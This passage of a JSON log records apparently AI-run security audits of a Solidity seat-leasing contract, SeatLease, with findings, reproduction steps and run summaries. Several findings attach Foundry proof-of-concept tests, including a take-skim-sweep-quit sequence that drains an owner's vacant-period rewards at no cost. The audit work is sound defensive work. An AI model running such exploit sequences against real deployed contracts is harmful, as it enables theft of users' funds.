bond.\n- **Medium, `quit` at line 300.** Bond return is instant and unconditional, so an operator quits ahead of any `cutByOracle` and forfeiture is never enforceable. Proof: `test/scratch/QuitEscapesForfeit.t.sol` fails, attestation reverts `SeatVacant` after the quit.\n- **Low, `sweep` at line 441.** Owner can `cut`, `claim`, `sweep` in one transaction and take 100% of rewards the operator earned. Existing tests pin this as intended, so it is reported as a trust assumption the docs must state.\n- **Low, `withdraw` at line 355.** A contract owner without `onERC721Received` can deposit but never withdraw; the seat is locked forever. Proof: `test/scratch/WithdrawLocksNft.t.sol` fails.\n- **Low, `claim` at line 422.** A reward token the distributor pays but the owner did not list is held forever and booked to no seat, with no recovery path. Proof: `test/scratch/ClaimUnlistedToken.t.sol` fails.\n- **Info, two entries on the sweep formula.** Owner share rounds down with the dust going to the operator, inverting the split at 1 unit; and `amount * ownerBps` overflows only for a token with more than 2^256/10000 units credited, which the owner can bypass by cutting.\n\n**How I verified**\n\nBuild with warnings denied is clean and all 213 existing tests pass. Each proof was run with `forge test --match-path` and fails for the reason its finding states. Rounding, dust and split conservation were checked against the existing rewards and adversarial tests, which already pin them as intended.\n\n**What holds in my area**\n\n`credit`, `deposit`, `receive`, `redeemBond`, both ERC-20 boundary paths (fee-on-transfer, false-returning, void-returning), expiry comparisons, the 32-byte bool decode, and the ERC-1271 decode and recovery boundaries all behave as intended. Split conservation and registry solvency hold as invariants.\n\n**Deliberately not done**\n\nNo proof for the low cut-and-sweep finding, since the code and tests declare it intentional and any fix is a design change. I did not review the deploy script or the missing README beyond noting the README is absent from the tree.","treeHash":null,"usage":{"cachedInputTokens":923021,"inputTokens":290,"model":"claude-fable-5-1","outputTokens":45159,"runtime":"claude","turns":24,"wallClockMs":673012}},{"artifacts":[],"attempt":2,"bundleHash":"ae50cd7e70a3671441f0e5dbec0e53012a361e811080f47d72cfe6817502d33f","device":"3f6a9bdd601cb99f","findings":[],"hash":"9eed276de6b5adb9a70eafd9a964d1a182a57911abed9503b9a85468413bb939","nodeId":"6db709f6-b557-489b-a83a-01e483254c2a","outcome":"completed","summary":"`launch.json` is written and validated. The tree is otherwise untouched.\n\n**What the previous attempt got wrong.** It treated SeatLease's dynamic string constructor as a blocker and delivered nothing. The manifest rules already provide the answer: a launch whose application contracts cannot be factory-deployed is a token-only launch with an empty contracts array.\n\n**What launch.json contains**\n- kind `evm_project`, token `LaunchToken` with name \"SeatLease\", symbol \"SEATL\", 18 decimals, matching src/LaunchToken.sol.\n- Pool paired against native ETH, fee 3000, tick spacing 60, sqrtPriceX96 1:1 placeholder. The deployer overrides the price from policy.\n- `contracts: []`. SeatLease takes two dynamic string arguments plus chain-specific seat NFT and bond token addresses, none of which constructorArgs can express. The mocks are test scaffolding, not launch contracts.\n- Notes explain the above and point to script/Deploy.s.sol with its env vars for the real SeatLease deployment.\n\n**Verification**\n- Schema check of every field, pattern and length against the LaunchManifest JSON Schema passed.\n- `forge build --deny warnings` compiled clean.\n- `forge test` passed all 213 tests.\n- `git status` shows only the new launch.json.\n\nThe file is left uncommitted for the harness to pick up, since no commit was requested.","treeHash":"984b4adf5f465a26f3c5e6e375c173d9a856ef27","usage":{"cachedInputTokens":353542,"inputTokens":226,"model":"claude-fable-5-1","outputTokens":5418,"runtime":"claude","turns":8,"wallClockMs":113121}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"30a6c1a419ef4f9c","findings":[{"citation":"resolved","description":"Settlement note for finding 92e76f1d (take/sweep/quit, high): FIXED. Shares are now fixed per (seat, token, account) at booking time (_book, lines 719-735); sweep pays only the owner's and current operator's own shares, sweepFor pays former parties. My proof Proof_92e76f1d2ca8.t.sol passes on the revised code (attacker receives 0 RWD, owner 1000e18). The unprivileged take-sweep-quit path is closed. What remains is the owner-side mirror I described in that finding, moved one layer down: a reward that a distributor pays to the seat's holder (the address the network pays) while an operator is seated is not attributed until someone calls skim() or the owner calls claim(). Both book at the split in force at booking time, and a vacant seat books everything to the owner (line 722). cut() is owner-only and allowed at any time, so the owner can, in one transaction or by front-running the operator's skim(), call cut() then skim()/claim() and receive 100% of rewards earned during the operator's tenure. Access x asymmetry: the owner is the only party that can both end the tenure and choose the booking moment; the operator's only defence is to skim before the owner does, which the owner can always front-run. The README (Trust model: 'Owner can cut any time', 'Rewards are protected once they reach the seat's wallet') and REVIEW.md document this as a design decision, and the brief requires cut() to be owner-only at any time, so I report it as an accepted low for the judge rather than as a reopening of the high. A mitigation that keeps every ABI would be to record, at take(), which reward tokens the seat lists (or to let cut() take a tokens[] to skim first), or to attribute holder-held balances at cut()/quit() by calling _collect for a caller-supplied token list before the operator is cleared.","line":722,"path":"src/SeatLease.sol","reproduction":"State: owner deposits seat 7 with ownerBps=5000, Mode.Permissioned, allowedOperator=operator; operator calls take(7). A distributor mints/pays 1000e18 RWD to holderOf(7) while the operator is seated. Owner calls cut(7) then skim(7, RWD) (same tx, or front-running the operator's own skim). Expected under the split the operator agreed to: 500e18 booked to operator, 500e18 to owner. Actual: share(7, RWD, owner) == 1000e18, share(7, RWD, operator) == 0. Verified with test/scratch/CutThenSkim.t.sol (passes on current code, i.e. the behaviour is present); the suite's test_sweep_sharesBookedDuringTenureStayWithCutOperator only covers amounts already booked before the cut.","severity":"low","snippet":"        address operator = s.operator;\n        uint256 ownerPart = operator == address(0) ? amount : (amount * s.ownerBps) / BPS;","title":"Residual of the settled sweep finding: rewards paid to the holder during a tenure are booked at skim/claim time, so the owner can cut() and then skim()/claim() to book 100% of them (documented as acce"}],"hash":"a5a51ed20fcbf8b0eef8ef7be3d635f4e8abc2859bf6a58081a6a1966a06f2f1","nodeId":"51e40942-2553-4be8-a54b-39ab87199d4e","outcome":"completed","summary":"All prior findings are settled and the findings file is written. The tree is clean apart from `.imd-findings.json`.\n\n**Outcome of this round**\n\nEvery one of my three blocking findings is fixed, verified by running the original proofs against the revised code:\n\n- **Take-sweep-quit (high):** fixed. Shares are now attributed per account at booking time, and sweep pays only the owner's and the current operator's own shares. The proof passes: the attacker gets no rewards and the owner keeps all 1000e18.\n- **setTerms front-run of take (medium):** fixed. Term changes and withdraw both set a one-hour activation delay, and take reverts before it. No other writer of the terms exists. The proof passes.\n- **Stale oracle attestation (medium):** fixed. Take records the tenure start, and cutByOracle rejects attestations issued or observed before it. The proof passes.\n\nThe two advisory lows are resolved: sweep pushes are now non-reverting with a retained share collectable via sweepFor, and the claim recipient-routing gap is documented in the README trust model and pinned by a test. The missing README is present.\n\n**One residual, recorded as low**\n\nRewards a distributor pays to the seat's holder are booked only when someone calls skim or the owner calls claim. The owner can cut first and then skim, so 100% of rewards earned during the operator's tenure go to the owner. I reproduced this with a scratch test. The README and REVIEW.md explicitly document it as accepted (\"only future bookings go entirely to the owner\"), and the brief requires cut to be owner-only at any time, so I filed it as low for the judge rather than reopening the high.\n\n**Checks run**\n\n- Full suite: 252 tests pass, including invariants. Build with `--deny warnings` is clean on the tree.\n- Coverage record answers all 21 entry points plus two invariants. No entry point was left unreached.","treeHash":null,"usage":{"cachedInputTokens":1001008,"inputTokens":322,"model":"claude-fable-5-1","outputTokens":24460,"runtime":"claude","turns":21,"wallClockMs":401558}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"468e82a89b9bfe18","findings":[{"citation":"resolved","description":"Residual of the settled High bf40f4fd (sweep split by the operator at sweep time). The revision fixed credit(): _book now splits at booking time. But the revision also made the seat's SeatHolder the address the network's distributors pay (README: 'Pay a seat with credit or by sending to its holder'), and rewards that reach the holder are not booked when they arrive. They are booked when anyone calls skim(tokenId, token) (line 492-498) or the owner calls claim(), and _book (line 722: `uint256 ownerPart = operator == address(0) ? amount : (amount * s.ownerBps) / BPS;`) splits them by whoever is seated at that moment. So the party that chooses the booking moment chooses the split. (a) Unprivileged extraction: rewards that reached the holder while the seat was vacant belong wholly to the owner under the stated rule, yet a stranger calls take(tokenId) (bond pulled, Open mode), skim(), sweep(), quit() (bond refunded in full) in one transaction and receives (10000-ownerBps)/10000 of them. The same applies to rewards owed to the holder at a permissionless account-keyed distributor: the stranger claims for the holder and skims in the same transaction. The owner cannot defend by skimming promptly, because the attacker back-runs the payment in the same block. Cost is gas; the bond is capital for one transaction and can be flash-borrowed. (b) Owner mirror: rewards that reach the holder during an operator's tenure can be booked 100% to the owner by cut(tokenId) then skim()/claim() in one transaction, front-running the operator's own skim; the suite's test_sweep_sharesBookedDuringTenureStayWithCutOperator covers only amounts booked before the cut. The README's 'Rewards are protected once they reach the seat's wallet' does not hold on the holder path, which is the design's main income route. Merged from audit_economics (high, account-keyed distributor variant), audit_flow (high, ETH-to-holder variant and cut-then-skim mirror), audit_permissions (low, mirror) and audit_math (info, cut-then-claim). Fix preserving take(tokenId), Open/Permissioned and instant quit: settle the holder before every operator change and warm up new tenures. In take, quit, cut and cutByOracle, first _collect the holder's ETH and each token of an owner-declared bounded per-seat list (a new owner-only setRewardTokens(tokenId, address[]) or an extra terms field) under the outgoing split, before s.operator changes. As a backstop for undeclared tokens, book amounts collected by skim/claim while block.timestamp < takenAt + TERMS_DELAY entirely to the owner, so a take-skim-quit earns nothing. Regression tests: the attached proof, its ERC-20 variant (reward.mint(holder, 10e18) while vacant, then take/skim/sweep/quit), and the cut-then-skim mirror.","line":495,"path":"src/SeatLease.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {SeatLease} from \"src/SeatLease.sol\";\nimport {MockSeatNFT} from \"src/mocks/MockSeatNFT.sol\";\nimport {MockERC20} from \"src/mocks/MockERC20.sol\";\n\n/// Rewards that reach a seat's holder while the seat is vacant belong wholly to the owner, but `skim` books\n/// them by the split in force when it is called, not when they arrived. Anyone can take the Open seat, skim,\n/// sweep and quit in one transaction and walk away with (10000 - ownerBps) of them, bond refunded.\ncontract SkimVacantTest is Test {\n    MockSeatNFT nft;\n    MockERC20 bond;\n    SeatLease lease;\n    address owner = makeAddr(\"owner\");\n    address attacker = makeAddr(\"attacker\");\n    address payer = makeAddr(\"payer\");\n\n    function setUp() public {\n        vm.warp(1_800_000_000);\n        nft = new MockSeatNFT();\n        bond = new MockERC20(\"Bond\", \"BOND\");\n        lease = new SeatLease(address(nft), address(bond), \"IdentityMD Worker\", \"2\");\n        nft.mint(owner, 7);\n        vm.startPrank(owner);\n        nft.approve(address(lease), 7);\n        lease.deposit(7, 5000, SeatLease.Mode.Open, address(0), 100e18, address(0), bytes32(0), \"open seat\");\n        vm.stopPrank();\n        bond.mint(attacker, 100e18);\n        // 10 ETH of rewards reach the seat's wallet while nobody operates the seat, by the payment path the\n        // README recommends (pay the holder, anyone skims). Nothing has been booked yet.\n        vm.deal(payer, 10 ether);\n        vm.prank(payer);\n        (bool ok,) = lease.holderOf(7).call{value: 10 ether}(\"\");\n        require(ok, \"pay holder\");\n        assertEq(lease.credited(7, address(0)), 0);\n    }\n\n    function test_takeSkimSweepQuitTakesVacantRewards() public {\n        uint256 ownerBefore = owner.balance;\n        vm.startPrank(attacker);\n        bond.approve(address(lease), 100e18);\n        lease.take(7);\n        try lease.skim(7, address(0)) {} catch {}\n        try lease.sweep(7, address(0)) {} catch {}\n        lease.quit(7);\n        vm.stopPrank();\n        // Settle whatever is left to the vacant seat: it all belongs to the owner.\n        try lease.skim(7, address(0)) {} catch {}\n        try lease.sweep(7, address(0)) {} catch {}\n\n        assertEq(attacker.balance, 0, \"attacker took a share of rewards that reached the seat while vacant\");\n        assertEq(owner.balance - ownerBefore, 10 ether, \"owner lost vacant-period rewards\");\n        assertEq(bond.balanceOf(attacker), 100e18, \"attack was not free\");\n    }\n}","reproduction":"State: owner deposits seat 7 as Open, ownerBps 5000, bondAmount 100e18, no oracle; seat vacant. A payer sends 10 ether to lease.holderOf(7); credited(7, address(0)) == 0. Attacker holding 100e18 bond, in one transaction: bond.approve(lease, 100e18); lease.take(7); lease.skim(7, address(0)); lease.sweep(7, address(0)); lease.quit(7). Expected: attacker receives 0 and the owner 10 ether. Actual: attacker.balance == 5 ether, owner receives 5 ether, bond.balanceOf(attacker) == 100e18. The attached proof (audit_flow's) fails on this tree with 'attacker took a share of rewards that reached the seat while vacant: 5000000000000000000 != 0'. ERC-20 variant run in test/scratch/Leads2.t.sol: reward.mint(holderOf(7), 10e18) while vacant, then the same sequence with skim(7, reward): reward.balanceOf(attacker) == 5e18. Mirror: Permissioned seat, operator seated, reward.mint(holderOf(7), 1000e18); owner calls cut(7) then skim(7, reward): share(7, reward, owner) == 1000e18, share(7, reward, op) == 0. audit_economics's proof (Proof_5c94a187d98a) also fails here with 'taker was paid rewards that accrued to the seat before it took it: 1000000000000000000000 != 0'.","severity":"high","snippet":"        uint256 received = _collect(tokenId, _holders[tokenId], token);","title":"skim()/claim() book holder-held rewards by the split at call time, not arrival time: anyone takes a vacant Open seat, skims, sweeps and quits in one transaction and keeps (10000-ownerBps)/10000 of rew"},{"citation":"resolved","description":"Settlement of my earlier Medium 066fd307, which the author disputed. Reproduced again: quit clears the operator and pushes the whole bond in one call, and cutByOracle then reverts SeatVacant. audit_math adds that the tenure binding from ecb32761 lets the operator quit and take again in the same block (Open mode, bond re-pulled), after which the genuine attestation about its own conduct is rejected (OracleAttestationPredatesTenure / OracleWindowPredatesTenure) while the same operator sits with the same bond; the owner can still cut() but can never forfeit. The author's answer holds: the brief specifies quit as 'operator only; clears operator; returns bond', my held proof for ecb32761 asserts the full bond balance immediately after quit (Proof_ecb32761e8a3.t.sol line 107), and the limitation is now stated in README (Trust model, 'Quit is instant') and REVIEW.md. The contract implements the requested design, so this is no longer a defect to fix within the brief; it is recorded here so the requester can decide whether to change the quit specification (an unbonding window during which cutByOracle may still forfeit the pending bond) and, if so, revise that proof. Merged from audit_math (medium).","line":356,"path":"src/SeatLease.sol","reproduction":"State: seat 7 Open, ownerBps 5000, bondAmount 100e18, oracleSigner = oracle; operator took at block 100 (bondHeld 100e18). Oracle signs a valid true attestation for the seat's question with issuedAt >= takenAt, fromBlock 105. (A) operator: quit(7) -> bond.balanceOf(operator) == 100e18; owner: cutByOracle(7, att, sig) reverts SeatVacant(7). Expected by the bond's purpose: owner receives 100e18. Actual: owner 0. audit_math's proof fails on this tree with 'attestation against the just-quit operator was rejected'. (B) at block 110 operator: quit(7); take(7); then cutByOracle(7, att, sig) reverts OracleAttestationPredatesTenure (or OracleWindowPredatesTenure when timestamps match), seat(7).operator == operator, seat(7).bondHeld == 100e18 (test/scratch/Leads2.t.sol::test_quitRetakeEscapesForfeitAndKeepsSeat).","severity":"low","snippet":"        _payBond(msg.sender, held);","title":"Settled as documented: quit() returns the bond instantly, so a watching operator escapes cutByOracle by quitting (and, with tenure binding, by quit-and-retake in the same block while keeping the seat)"},{"citation":"resolved","description":"Residual of the settled Low 9546c25c (push-with-revert). The fix routes every ETH share through _payShare -> _tryPay, which forwards exactly SWEEP_ETH_GAS = 100_000 and, on failure, restores the share. There is no path that forwards more gas and no pull function that pays msg.sender its own share, and shares are keyed to the account so they cannot be redirected. The comment at lines 97-98 ('A recipient that needs more, or that reverts, keeps its share booked and collects it later with sweepFor') and README 'Rewards and shares' promise a later collection that does not exist: sweepFor fails identically every time. An owner or operator that is a contract with a receive() costing over 100k gas (a splitter recording each deposit in several slots, a smart account with a heavy hook) permanently loses every ETH share booked to it, while ERC-20 shares to the same address pay fine. Fix preserving the ABI: in sweepFor, which pays one account only, forward gasleft() instead of the stipend (a revert there blocks nobody else), keeping the bounded stipend in sweep where one recipient must not block the other; or add a pull function that pays msg.sender its own share with full gas. From audit_math (low).","line":806,"path":"src/SeatLease.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {SeatLease} from \"src/SeatLease.sol\";\nimport {MockSeatNFT} from \"src/mocks/MockSeatNFT.sol\";\nimport {MockERC20} from \"src/mocks/MockERC20.sol\";\n\n/// @dev A seat owner whose receive() legitimately needs more than SWEEP_ETH_GAS (e.g. a splitter that records\n///      each payment in a few storage slots). Every push path (sweep and sweepFor) uses the same stipend, so the\n///      share is retained forever, although the docs say a recipient that needs more collects with sweepFor.\ncontract HeavyReceiver {\n    uint256[8] public log;\n    uint256 public n;\n\n    receive() external payable {\n        // ~8 cold SSTOREs from zero: ~8 * 22.1k > 100k gas\n        for (uint256 i; i < 8; ++i) {\n            log[i] = block.timestamp + n + i + msg.value;\n        }\n        ++n;\n    }\n}\n\ncontract StipendTest is Test {\n    MockSeatNFT nft;\n    MockERC20 bond;\n    SeatLease lease;\n    HeavyReceiver owner;\n    uint256 constant TOKEN_ID = 7;\n\n    function setUp() public {\n        nft = new MockSeatNFT();\n        bond = new MockERC20(\"Bond\", \"BOND\");\n        lease = new SeatLease(address(nft), address(bond), \"IdentityMD Worker\", \"2\");\n        owner = new HeavyReceiver();\n        nft.mint(address(owner), TOKEN_ID);\n        vm.warp(1_800_000_000);\n        vm.roll(100);\n        vm.startPrank(address(owner));\n        nft.approve(address(lease), TOKEN_ID);\n        lease.deposit(TOKEN_ID, 10_000, SeatLease.Mode.Permissioned, address(0), 0, address(0), bytes32(0), \"s\");\n        vm.stopPrank();\n    }\n\n    function test_heavyReceiverCanNeverCollectEthShare() public {\n        // plain transfer with full gas works fine\n        HeavyReceiver probe = new HeavyReceiver();\n        vm.deal(address(this), 3 ether);\n        (bool okDirect,) = address(probe).call{value: 1}(\"\");\n        assertTrue(okDirect, \"receiver accepts ETH with normal gas\");\n\n        lease.credit{value: 1 ether}(TOKEN_ID, address(0), 1 ether);\n\n        lease.sweep(TOKEN_ID, address(0));\n        assertEq(address(owner).balance, 0, \"sweep paid nothing\");\n        assertEq(lease.share(TOKEN_ID, address(0), address(owner)), 1 ether, \"share retained\");\n\n        // docs: 'collects it later with sweepFor' -- same stipend, same result\n        lease.sweepFor(TOKEN_ID, address(0), address(owner));\n        assertEq(lease.share(TOKEN_ID, address(0), address(owner)), 0, \"sweepFor also retained: ETH stuck forever\");\n    }\n}","reproduction":"HeavyReceiver is a contract whose receive() writes 8 cold storage slots (about 177k gas) and accepts a plain 1-wei transfer with default gas. nft.mint(HeavyReceiver, 7); HeavyReceiver deposits seat 7 (Permissioned, ownerBps 10000). credit{value: 1 ether}(7, address(0), 1 ether). sweep(7, address(0)) emits ShareRetained, HeavyReceiver.balance == 0, share(7, address(0), HeavyReceiver) == 1 ether. sweepFor(7, address(0), HeavyReceiver) retains again. Expected per comment and README: the recipient collects later with sweepFor. Actual: no call ever pays the 1 ether. Attached proof (audit_math's) fails on this tree with 'sweepFor also retained: ETH stuck forever: 1000000000000000000 != 0'.","severity":"low","snippet":"            uint256 stipend = SWEEP_ETH_GAS;","title":"sweepFor() forwards the same 100k stipend as sweep(), so an ETH share owed to a recipient whose receive() needs more gas is retained forever although the code comment and README say it collects later "},{"citation":"resolved","description":"The holder address is public and deterministic (holderOf) and the README tells payers to send rewards to it, so an owner who sends the seat itself there with ERC-721 transferFrom, or a marketplace that delivers a bought seat to it, bypasses onERC721Received. Afterwards deposit(tokenId, ...) reverts NotSeatOwner because ownerOf(tokenId) is the holder, withdraw reverts SeatNotDeposited because the seat record is empty, and SeatHolder.releaseNft is registry-only with no registry path that calls it outside withdraw. The NFT is unrecoverable and the token id can never be leased again. No safe on-chain rescue exists (after withdraw the registry no longer knows who the rightful owner was), so this is a README item: state under Trust model that the seat must only ever enter the holder through deposit and that a plain transfer to a holder address burns the seat; the current text covers only ETH and tokens sent to the registry. From audit_flow (low).","line":69,"path":"src/SeatHolder.sol","reproduction":"Seat 7 was deposited once and withdrawn, so holderOf(7) is set and the owner holds the NFT. Owner calls nft.transferFrom(owner, holderOf(7), 7): succeeds, ownerOf(7) == holder. Then lease.deposit(7, ...) reverts NotSeatOwner(7, owner); lease.withdraw(7) reverts SeatNotDeposited(7); SeatHolder(holder).releaseNft(owner) reverts NotRegistry(owner). Reproduced in test/scratch/Leads2.t.sol::test_plainTransferToHolderLocksSeat.","severity":"low","snippet":"        if (msg.sender != address(seatNFT) || id != tokenId || !registry.depositInFlight(tokenId)) {","title":"A seat NFT moved to its holder with plain transferFrom is locked forever: the receiver hook guards only safeTransferFrom, deposit then reverts NotSeatOwner and nothing can call releaseNft (documentati"}],"hash":"b712d8cfe8a993c1386892fd5654318fa29ead4d0c919bb9b034f629acfc83fc","nodeId":"c3530658-885b-4197-a6ea-05e32fd8afed","outcome":"completed","summary":"Review complete. The findings file is written at `.imd-findings.json` with four findings and a coverage row for all 21 entry points. No other file in the tree was changed; the scratch tests were removed.\n\n**Settlement of my earlier findings**\n\n- **Fixed and confirmed by their proofs passing**: cross-seat claim booking (per-seat holders), take front-run via setTerms (one-hour terms delay), sweep split at sweep time (per-account shares fixed at booking), stale attestation cut (issuedAt and fromBlock bound to the tenure).\n- **Fixed, verified by trace and suite**: unbookable pushed rewards (skim), withdraw locking hook-less contract owners (transferFrom), sweep push blocking (non-reverting push with retained shares), claim calldata trust assumption and missing README both documented.\n- **Disputed, now settled as documented**: instant quit escaping oracle forfeiture. The brief specifies quit returns the bond, and my own held proof pins that. Kept as a low so the requester can decide on an unbonding window.\n\n**What I kept this round**\n\n1. **High**: skim and claim book holder-held rewards by the split at call time. A stranger takes a vacant Open seat, skims, sweeps and quits in one transaction and pockets the operator share of rewards that arrived while vacant, bond refunded. The owner mirrors it with cut then skim. This is a residual of the settled sweep finding on the holder path, which is now the main income route. Both specialist proofs fail on the tree; the audit_flow proof is attached.\n2. **Low**: instant quit, and quit-then-retake in the same block, escape forfeiture. Documented design limitation.\n3. **Low**: sweepFor uses the same 100k ETH stipend as sweep, so the documented \"collect later with sweepFor\" path does not exist for heavy receivers. Proof attached.\n4. **Low**: a seat sent to its holder with plain transferFrom is locked forever. Documentation item.\n\nThe full suite passes with 253 tests, formatting is clean on the tree, and the build is warning-free.","treeHash":null,"usage":{"cachedInputTokens":1113880,"inputTokens":354,"model":"claude-fable-5-1","outputTokens":22648,"runtime":"claude","turns":18,"wallClockMs":370644}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"2a5d68f89de314cb","findings":[{"citation":"resolved","description":"The revision fixed the vacant-skim finding for balances booked through credit(): _book now splits at booking time. But the revision also moved every reward that reaches the seat's wallet (the SeatHolder: ETH sent to it, a distributor claimed by a third party with the holder as account, tokens transferred to it) onto a new path, skim(tokenId, token), which anyone may call and which books the holder's whole balance under the split in force at the moment of the call, not when the funds arrived. The README tells payers to 'pay the seat's holder' and says anyone skims. Funds sitting unbooked at the holder while an Open seat is vacant belong wholly to the owner, yet an attacker can take(tokenId) (bond pulled, flash-loanable), skim, sweep and quit(tokenId) (bond refunded in full) in one transaction and receive (10000-ownerBps)/10000 of them. The owner cannot defend by skimming promptly: the attacker back-runs the payment in the same block, or claims a permissionless distributor for the holder and skims in the same transaction. The same root cause has an owner-side mirror that reopens the cut() finding (51d77179) for unbooked funds: rewards at the holder during operator X's tenure; the owner calls cut(tokenId) then skim() (or claim()) and books 100% to itself, front-running X's own skim. Reproduced: test_ownerCutThenSkimTakesOperatorShare (owner ends with 10 ether, share(7, ETH, op) == 0). Fix, preserving the specified ABI and instant quit: settle the holder before every operator change. In take, quit, cut and cutByOracle, first _collect the holder's ETH and each token in an owner-declared, bounded per-seat reward-token list (new setRewardTokens(tokenId, address[]), owner only, or an extra terms field), booking them under the outgoing split (vacant means all to the owner; a departing operator keeps its split) before s.operator changes. As a backstop for undeclared tokens, book amounts that arrive via skim/claim within a short warm-up after takenAt to the owner only. Regression tests: the proof below, its ERC-20 variant (mint a reward token to the holder while vacant, then take/skim/sweep/quit), and the cut-then-skim mirror.","line":495,"path":"src/SeatLease.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {SeatLease} from \"src/SeatLease.sol\";\nimport {MockSeatNFT} from \"src/mocks/MockSeatNFT.sol\";\nimport {MockERC20} from \"src/mocks/MockERC20.sol\";\n\n/// Rewards that reach a seat's holder while the seat is vacant belong wholly to the owner, but `skim` books\n/// them by the split in force when it is called, not when they arrived. Anyone can take the Open seat, skim,\n/// sweep and quit in one transaction and walk away with (10000 - ownerBps) of them, bond refunded.\ncontract SkimVacantTest is Test {\n    MockSeatNFT nft;\n    MockERC20 bond;\n    SeatLease lease;\n    address owner = makeAddr(\"owner\");\n    address attacker = makeAddr(\"attacker\");\n    address payer = makeAddr(\"payer\");\n\n    function setUp() public {\n        vm.warp(1_800_000_000);\n        nft = new MockSeatNFT();\n        bond = new MockERC20(\"Bond\", \"BOND\");\n        lease = new SeatLease(address(nft), address(bond), \"IdentityMD Worker\", \"2\");\n        nft.mint(owner, 7);\n        vm.startPrank(owner);\n        nft.approve(address(lease), 7);\n        lease.deposit(7, 5000, SeatLease.Mode.Open, address(0), 100e18, address(0), bytes32(0), \"open seat\");\n        vm.stopPrank();\n        bond.mint(attacker, 100e18);\n        // 10 ETH of rewards reach the seat's wallet while nobody operates the seat, by the payment path the\n        // README recommends (pay the holder, anyone skims). Nothing has been booked yet.\n        vm.deal(payer, 10 ether);\n        vm.prank(payer);\n        (bool ok,) = lease.holderOf(7).call{value: 10 ether}(\"\");\n        require(ok, \"pay holder\");\n        assertEq(lease.credited(7, address(0)), 0);\n    }\n\n    function test_takeSkimSweepQuitTakesVacantRewards() public {\n        uint256 ownerBefore = owner.balance;\n        vm.startPrank(attacker);\n        bond.approve(address(lease), 100e18);\n        lease.take(7);\n        try lease.skim(7, address(0)) {} catch {}\n        try lease.sweep(7, address(0)) {} catch {}\n        lease.quit(7);\n        vm.stopPrank();\n        // Settle whatever is left to the vacant seat: it all belongs to the owner.\n        try lease.skim(7, address(0)) {} catch {}\n        try lease.sweep(7, address(0)) {} catch {}\n\n        assertEq(attacker.balance, 0, \"attacker took a share of rewards that reached the seat while vacant\");\n        assertEq(owner.balance - ownerBefore, 10 ether, \"owner lost vacant-period rewards\");\n        assertEq(bond.balanceOf(attacker), 100e18, \"attack was not free\");\n    }\n}","reproduction":"Open seat 7, ownerBps 5000, bondAmount 100e18, deposited and vacant. A payer sends 10 ether to lease.holderOf(7) (the README's recommended route); credited(7, ETH) is still 0. The attacker, holding 100e18 bond, calls in one transaction: bond.approve; lease.take(7); lease.skim(7, address(0)); lease.sweep(7, address(0)); lease.quit(7). Expected: the attacker receives 0 and the owner 10 ether. Actual: attacker.balance == 5 ether, the owner gets 5 ether, and bond.balanceOf(attacker) == 100e18 (the attack costs only gas). Proof test fails with 'attacker took a share of rewards that reached the seat while vacant: 5000000000000000000 != 0'. Same with an ERC-20: reward.mint(holder, 10e18) while vacant, then take/skim(7, reward)/sweep/quit gives the attacker 5e18. Owner mirror: Permissioned seat with operator op seated, vm.deal(holder, 10 ether); owner calls cut(7), skim(7, address(0)), sweep(7, address(0)); owner receives 10 ether and op's share is 0.","severity":"high","snippet":"        uint256 received = _collect(tokenId, _holders[tokenId], token);","title":"skim() books holder funds by the split at skim time, so anyone can take an Open seat, skim rewards that arrived while it was vacant, sweep and quit in one transaction (residual of ee383d85)"},{"citation":"resolved","description":"The receiver hook only guards safeTransferFrom. The holder address is public and deterministic (holderOf, README 'pay the seat's holder'), so an owner who sends the seat itself there with ERC-721 transferFrom, or a marketplace that delivers a bought seat to it, bypasses the hook. Afterwards deposit(tokenId, ...) reverts NotSeatOwner because ownerOf(tokenId) is the holder, withdraw reverts SeatNotDeposited because the seat record is empty, and releaseNft is registry-only with no registry path that calls it outside withdraw. The NFT is unrecoverable and the token id can never be leased again. No safe on-chain rescue exists (the registry cannot tell who the rightful owner was), so this is a documentation item: state in the README that the seat must only ever enter the holder through deposit, and that a plain transfer to a holder address burns the seat. It is not mentioned in the Trust model, which covers only ETH and tokens sent to the registry.","line":68,"path":"src/SeatHolder.sol","reproduction":"Seat 7 was deposited once and withdrawn, so holderOf(7) is set and the owner holds the NFT again. The owner calls nft.transferFrom(owner, holderOf(7), 7). Expected: refused, or recoverable. Actual: ownerOf(7) == holder; lease.deposit(7, ...) reverts NotSeatOwner(7, owner); lease.withdraw(7) reverts SeatNotDeposited(7); SeatHolder(holder).releaseNft(owner) reverts NotRegistry(owner). Reproduced in scratch test test_plainTransferToHolderLocksSeat.","severity":"low","snippet":"    function onERC721Received(address, address, uint256 id, bytes calldata) external view override returns (bytes4) {\n        if (msg.sender != address(seatNFT) || id != tokenId || !registry.depositInFlight(tokenId)) {","title":"A seat NFT moved to its holder with plain transferFrom (not deposit) is locked forever: deposit rejects it and nothing can release it"}],"hash":"b7859eb3a452543767c6afd920645dd1e3947617857d7070e7f75571627662d4","nodeId":"db310ff0-4065-499a-b416-320077e48c17","outcome":"completed","summary":"Review complete. The findings are in `.imd-findings.json` with 2 findings and 31 coverage rows. The tree is otherwise untouched.\n\n**Prior findings settled**\n\n- **Cross-seat claim booking (high, fc6ae20c): fixed.** Each seat now has its own SeatHolder that makes the claim call, so only that wallet's gain is booked. I verified with rewards configured for both holders: seat 1 books its 50e18 and seat 2 books nothing until its own claim.\n- **Stale attestation cuts new operator (high, 2c446326): fixed.** cutByOracle now requires issuedAt and fromBlock to be no earlier than the current tenure. The proof passes because the cut reverts.\n- **setTerms front-run of take (high, 804a7c31): fixed.** Changed terms activate one hour later, and withdraw plus redeposit is delayed the same way, so the pending take reverts instead of landing under swapped terms. The proof passes.\n- **Vacant balance taken via take/sweep/quit (high, ee383d85): fixed for credit(), but the same attack survives on the new skim path.** See the new finding below.\n- **cut then sweep pays owner the operator's share (medium, 51d77179): fixed for booked shares.** Verified that cut then sweep leaves the operator's half collectable through sweepFor. The unbooked-funds mirror is folded into the new finding.\n- **Instant quit escapes forfeiture (medium, 210b98ef): dropped.** The author's dispute holds. The brief specifies that quit returns the bond, and the README documents the limitation. Recorded as an accepted trust 